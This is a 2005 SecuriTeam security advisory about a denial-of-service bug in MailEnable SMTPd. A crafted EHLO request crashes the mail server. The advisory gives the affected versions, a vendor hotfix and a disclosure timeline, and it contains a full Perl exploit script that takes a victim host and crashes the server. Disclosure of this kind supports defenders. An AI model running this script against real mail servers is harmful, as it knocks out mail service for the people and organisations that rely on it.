[NT] MailEnable SMTPd DoS (Exploit)

From: SecuriTeam (support_at_securiteam.com)
Date: 04/06/05

  • Next message: SecuriTeam: "[NT] Computer Associates eTrust Intrusion Detection System CPImportKey DoS" 
    To: list@securiteam.com
Date: 6 Apr 2005 17:04:23 +0200

    The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: http://www.securiteam.com
    - - promotion

    The SecuriTeam alerts list - Free, Accurate, Independent.

    Get your security news from a reliable source.
    http://www.securiteam.com/mailinglist.html

    - - - - - - - - -

      MailEnable SMTPd DoS (Exploit)
    ------------------------------------------------------------------------

    SUMMARY

    " <http://www.mailenable.com/> MailEnable's mail server software provides
    a powerful, scalable hosted messaging platform for Microsoft Windows.
    MailEnable offers stability, unsurpassed flexibility and an extensive
    feature set which allows you to provide cost-effective mail services."

    A bug in the SMTP protocol implementation of MailEnable's mail server
    causes denial of service when particular EHLO request is received.

    DETAILS

    Vulnerable Systems:
     * MailEnable SMTPd Enterprise versions 1.04 and prior
     * MailEnable SMTPd Professional versions 1.54 and prior

    Example:
    The following EHLO request will cause the server to stop responding:
    EHLO x99

    Exploit:
    #!/usr/bin/perl
    ##############################################
    #MailEnable (Enterprise <= 1.04)-(Professional <
    # = 1.54 SMTPd remote DOS exploit
    #
    #
    #this tools causes the crash of the demon SMTP of mailenable
    #the bug and' caused he/she knows an unicode string sent to the command
    #EHLO
    #
    #BUG discovered By CorryL
    #Coded by CorryL
    # info: www.x0n3-h4ck.org
    ##############################################
    use IO::Socket;
    use Getopt::Std; getopts('h:', \%args);

    if (defined($args{'h'})) { $host = $args{'h'}; }

    print STDERR "\n-=[MailEnable (Enterprise & Professional) SMTPd remote DOS
    exploit]=-\n";
    print STDERR "-=[ ]=-\n";
    print STDERR "-=[ Discovered & Coded by CorryL
    info:www.x0n3-h4ck.org]=-\n";
    print STDERR "-=[ irc.xoned.net #x0n3-h4ck corryl80[at]gmail.com]=-\n\n";

    if (!defined($host)) {
    Usage();
    }

    $bof = "\0x99";
    print "[+]Connecting to the Host $host\n";
    $socket = new IO::Socket::INET (PeerAddr => "$host",
                                    PeerPort => 25,
                                    Proto => 'tcp');
                                    die unless $socket;
                                    print "[+]Sending Unicode String\n";
                                    print $socket "EHLO $bof\r\n";
                                    print "[+]Server is Killed!\n";
                                  

    close;

    sub Usage {
    print STDERR "Usage:
    -h Victim host.\n\n";
    exit;
    }

    Patch Availability:
    Download a hotfix <here> http://www.mailenable.com/hotfix.

    Disclosure Timeline:
     * 02.04.05 - Vendor notification
     * 03.04.05 - Vendor Response
     * 03.04.05 - Hotfix relased by vendor
     * 05.04.05 - Public disclousure

    ADDITIONAL INFORMATION

    The information has been provided by <mailto:corryl@sitoverde.com>
    CorryL.
    The original article can be found at:
    <http://www.x0n3-h4ck.org/index.php?name=news&article=68>
    http://www.x0n3-h4ck.org/index.php?name=news&article=68

    ========================================

    This bulletin is sent to members of the SecuriTeam mailing list.
    To unsubscribe from the list, send mail with an empty subject line and body to: list-unsubscribe@securiteam.com
    In order to subscribe to the mailing list, simply forward this email to: list-subscribe@securiteam.com

    ====================
    ====================

    DISCLAIMER:
    The information in this bulletin is provided "AS IS" without warranty of any kind.
    In no event shall we be liable for any damages whatsoever including direct, indirect, incidental, consequential, loss of business profits or special damages.

  • Next message: SecuriTeam: "[NT] Computer Associates eTrust Intrusion Detection System CPImportKey DoS"

    Relevant Pages

    • [EXPL] RevilloC Mail Server USER Buffer Overflow
      ... The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: http://www.securiteam.com ... RevilloC Mail Server USER Buffer Overflow ... collect all the emails for your home or office network, ...
      (Securiteam)
    • [NEWS] Mercury Mail Multiple Buffer Overflows
      ... The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: http://www.securiteam.com ... Mercury is "a free, standards-based mail server ... There are 14 vulnerable commands that can be used to cause buffer ...
      (Securiteam)
    • Quantcast